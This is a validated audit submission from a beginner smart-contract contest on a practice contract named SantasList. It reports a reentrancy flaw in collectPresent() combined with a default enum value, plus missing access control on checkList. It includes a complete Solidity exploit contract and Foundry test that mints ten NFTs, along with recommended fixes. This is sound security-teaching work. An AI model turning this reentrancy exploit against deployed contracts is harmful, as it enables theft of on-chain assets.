First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Default enum value of struct `SantasList::Status` + reentrancy on `SantasList::collectPresent()` allows attacker to mint multiple tokens

Turetos

Summary

The SantasList::collectPresent() function exposes a vulnerability, enabling an attacker to reenter the function and mint multiple tokens
for a single address. Additionally, the SantasList::checkList function lacks proper access control validations, allowing an attacker
to manipulate the status of their address in the s_theListCheckedOnce mapping or modify the status of any user in the mapping.

The default enum value Status.NICE is returned for an address not present in the mapping, this opens up an exploitation opportunity
for an attacker.

Vulnerability Details

The attacker can exploit the vulnerability to mint multiple tokens for their address by following these steps (this case assumes the address is not present in any of the mappings.)

  1. Create a contract implementing the onERC721Received callaback.

  2. Invoke SantasList::collectPresent() from this contract.

  3. In the onERC721Received callback, transfer the NFT to a different address to bypass the control check limiting one NFT per address.

  4. In the same callback, call SantasList::collectPresent() multiple times (limited by gas) to accumulate more NFTs.

Impact

This vulnerability allows an attacker to mint multiple tokens for the same address.

The testing scenario involves a contract implementing the IERC721Receiver callback and invoking SantasList::collectPresent().

//Set up
address attacker = makeAddr("1337");
//Create the contract
exploiter = new Exploiter(address(santasList), attacker);
function testExploit() public {
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
console.log("Attacker total nfts BEFORE : ", santasList.balanceOf(attacker));
vm.startPrank(attacker);
exploiter.hack();
assertEq(santasList.balanceOf(attacker), 10);
console.log("Attacker total nfts AFTER : ", santasList.balanceOf(attacker));
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
​
import {IERC721Receiver} from "@openzeppelin/contracts/interfaces/IERC721Receiver.sol";
import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol";
​
enum Status {
NICE,
EXTRA_NICE,
NAUGHTY,
NOT_CHECKED_TWICE
}
​
interface ISantaList {
function collectPresent() external;
function checkList(address person, Status status) external;
}
​
contract Exploiter is IERC721Receiver {
// Address of the ERC-721 token contract
address private i_santaList;
address private i_attacker;
​
uint256 private counter;
​
// Set the ERC-721 token contract address
constructor(address santaList, address attacker) {
i_attacker = attacker;
i_santaList = santaList;
}
​
function hack() external {
// ISantaList(i_santaList).checkList(address(this), Status.NICE);
ISantaList(i_santaList).collectPresent();
}
​
// Function called when an NFT is received
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes memory data
) external override returns (bytes4) {
// Check that the NFT comes from the expected SantList contract
require(msg.sender == i_santaList, "Invalid contract");
//Transfer the received token to the attacker, so passes the check in santasLists' contract
IERC721(i_santaList).safeTransferFrom(address(this), i_attacker, tokenId);
​
//We get 10 NFTs
if (counter < 9) {
counter++;
ISantaList(i_santaList).collectPresent();
}
// Return the ERC-721 received interface signature
return IERC721Receiver.onERC721Received.selector;
}
}
​

Output

Attacker total nfts BEFORE : 0
Attacker total nfts AFTER : 10

Tools Used

Foundry

Recommendations

  1. Add the access control for the function SantasList::checkList

- function checkList(address person, Status status) external;
+ function checkList(address person, Status status) external onlySanta;

  1. Add a new default value for the Status enum to represent undefined states.

enum Status {
+ UNDEFINED,
NICE,
EXTRA_NICE,
NAUGHTY,
NOT_CHECKED_TWICE
}

  1. Add a reentrancy safe guard to SantasList::collectPresent()

  2. The function SantasList::collectPresent() uses the users balance to check if the nft was already collected, this is not a good idea,
    as the balance is a knob an attacker can use, the recomendation is to create a new State in the Status struct, to COLLECTED, and assign this status
    to a user that already collected the nft.

  3. Consider recommending Santa to take Patrick's Solidity course for additional insights and best practices.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

default status is nice

In Solidity the first element of an enum is the default value. In Santa's List, the means each person is mapped by default to 'NICE'.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.